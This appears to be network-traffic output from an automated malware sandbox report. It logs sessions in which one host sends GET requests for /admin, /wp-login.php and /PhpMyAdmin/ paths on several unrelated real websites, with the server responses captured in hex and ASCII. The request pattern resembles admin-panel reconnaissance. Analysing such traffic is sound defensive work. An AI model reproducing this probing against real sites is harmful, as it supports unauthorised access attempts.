2023-12-20 02:13:37 UTC	95	IN	Data Raw: 20 63 72 65 61 74 69 6e 67 20 79 6f 75 72 20 68 6f 6d 65 20 70 61 67 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 53 69 74 65 73 3c 2f 61 3e 3c 2f 74 64 3e 0a 3c 74 64 3e 3c 2f 74 64 3e 0a 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: creating your home page with Google Sites</a></td><td></td></tr></table></body></html>
2023-12-20 02:13:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.4	65495	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	326	OUT	GET /admin HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_IyIvktBIPogp4nDEOxWTGdt3Cz7u2Fh30Zet0BY4HV8B2MBRrz1KlBNaALlOEcqmisa7gYStootGRCsjIqcmgg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:37 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.4	65140	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	173	OUT	GET /admin HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	1085	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038417.8051651360205672382 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:37 GMT X-Served-By: cache-dfw-kdfw8210171-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqe0L1PnLg6FLWqrGNmqNwAa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:37 UTC	167	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sca
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c Data Ascii: le=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <
2023-12-20 02:13:37 UTC	1252	IN	Data Raw: 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e Data Ascii: ices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.
2023-12-20 02:13:37 UTC	270	IN	Data Raw: 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: red</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.4	65090	104.21.20.204	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	792	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OLNgNidpu2C%2FFfq5E114AGZiwbc8a%2BVKkIMFbfdanouvlokLbLMu%2FT%2Bi8bm%2BwoicUCUQVFbALaraxBd8f9%2FW1w5g3sIcDRYWziScLiqM4AYQ62xANjavotm7X%2B6QhdOH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dfecc9b7449-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:38 UTC	577	IN	Data Raw: 31 35 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1532<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f Data Ascii: com/wp-admin/css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/lo
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 68 6f 77 20 70 61 73 73 77 6f 72 64 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f Data Ascii: how password"><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 Data Ascii: ipt><script src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><scrip
2023-12-20 02:13:38 UTC	750	IN	Data Raw: 22 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 Data Ascii: "\/wp-admin\/admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><scri
2023-12-20 02:13:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.4	65067	205.178.187.19	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	588	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 20 Dec 2023 02:13:37 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2070 Connection: close Set-Cookie: ingressnginxpublicuis=bc53bbf6feb93554bc2f53c19552f487\|66dc1766ccc35020769d07d4468e07d7; Expires=Wed, 20-Dec-23 02:43:37 GMT; Max-Age=1800; Path=/; Secure; HttpOnly set-cookie: JSESSIONID=971D3046187577343F92AFA381F289DD; Path=/; HttpOnly x-envoy-upstream-service-time: 1 x-envoy-decorator-operation: transfer-auth.domains.svc.cluster.local:8080/* Strict-Transport-Security: max-age=15724800; includeSubDomains
2023-12-20 02:13:37 UTC	2070	IN	Data Raw: 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0d 0a 3c 21 2d 2d 20 25 54 43 2d 49 4e 46 4f 25 20 2d 2d 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 61 6c 73 2e 6e 65 74 77 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">... %TC-INFO% --><html><head><title>Authorization</title><meta content="text/html; charset=UTF-8" http-equiv=content-type><script type="text/javascript" src="https://seals.netw

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.4	65053	151.101.1.195	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	185	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:37 UTC	575	IN	HTTP/1.1 200 OK Connection: close Content-Length: 4255 Cache-Control: max-age=3600 Content-Type: text/html; charset=utf-8 Etag: "027467ef33eb399e27a7057bb7d67c7bbc85ff76417b95760add2070d4049357" Last-Modified: Wed, 08 Feb 2023 04:48:40 GMT Strict-Transport-Security: max-age=31556926 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:37 GMT X-Served-By: cache-gnv1820032-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038418.736114,VS0,VE52 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:37 UTC	1368	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 74 69 74 6c 65 3e 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 3c 2f 74 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="shortcut icon" href="/favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><title>Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd</t
2023-12-20 02:13:37 UTC	1368	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 6f 6f 66 69 6e 67 20 49 6e 20 57 6f 6c 6c 6f 6e 67 6f 6e 67 20 7c 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 49 66 20 79 6f 75 72 20 68 6f 6d 65 20 6e 65 65 64 73 20 72 6f 6f 66 69 6e 67 20 73 65 72 76 69 63 65 73 2c 20 63 6c 69 63 6b 20 74 68 65 20 6c 69 6e 6b 20 61 62 6f 76 65 21 20 47 65 6f 66 66 20 52 65 79 6e 6f 6c 64 73 20 52 6f 6f 66 69 6e 67 20 50 74 79 20 4c 74 64 20 69 73 20 68 65 72 65 20 74 6f 20 6f 66 66 65 72 20 33 30 20 79 65 61 72 73 20 6f 66 20 Data Ascii: ><meta name="twitter:title" content="Roofing In Wollongong \| Geoff Reynolds Roofing Pty Ltd"/><meta name="twitter:description" content="If your home needs roofing services, click the link above! Geoff Reynolds Roofing Pty Ltd is here to offer 30 years of
2023-12-20 02:13:37 UTC	1368	IN	Data Raw: 69 3d 5b 5d 3b 66 3c 6e 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 74 3d 6e 5b 66 5d 2c 70 5b 74 5d 26 26 69 2e 70 75 73 68 28 70 5b 74 5d 5b 30 5d 29 2c 70 5b 74 5d 3d 30 3b 66 6f 72 28 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 6c 5b 72 5d 3d 6f 5b 72 5d 29 3b 66 6f 72 28 73 26 26 73 28 65 29 3b 69 2e 6c 65 6e 67 74 68 3b 29 69 2e 73 68 69 66 74 28 29 28 29 3b 72 65 74 75 72 6e 20 63 2e 70 75 73 68 2e 61 70 70 6c 79 28 63 2c 75 7c 7c 5b 5d 29 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 72 3d 30 3b 72 3c 63 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 66 6f 72 28 76 61 72 20 74 3d 63 5b 72 5d 2c 6e 3d 21 30 2c 6f 3d 31 Data Ascii: i=[];f<n.length;f++)t=n[f],p[t]&&i.push(p[t][0]),p[t]=0;for(r in o)Object.prototype.hasOwnProperty.call(o,r)&&(l[r]=o[r]);for(s&&s(e);i.length;)i.shift()();return c.push.apply(c,u\|\|[]),a()}function a(){for(var e,r=0;r<c.length;r++){for(var t=c[r],n=!0,o=1
2023-12-20 02:13:37 UTC	151	IN	Data Raw: 3b 76 61 72 20 73 3d 6e 3b 61 28 29 7d 28 5b 5d 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 32 2e 38 34 32 37 38 31 38 37 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6d 61 69 6e 2e 33 33 39 30 30 31 39 32 2e 63 68 75 6e 6b 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: ;var s=n;a()}([])</script><script src="/static/js/2.84278187.chunk.js"></script><script src="/static/js/main.33900192.chunk.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.4	65526	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	316	OUT	GET /admin HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
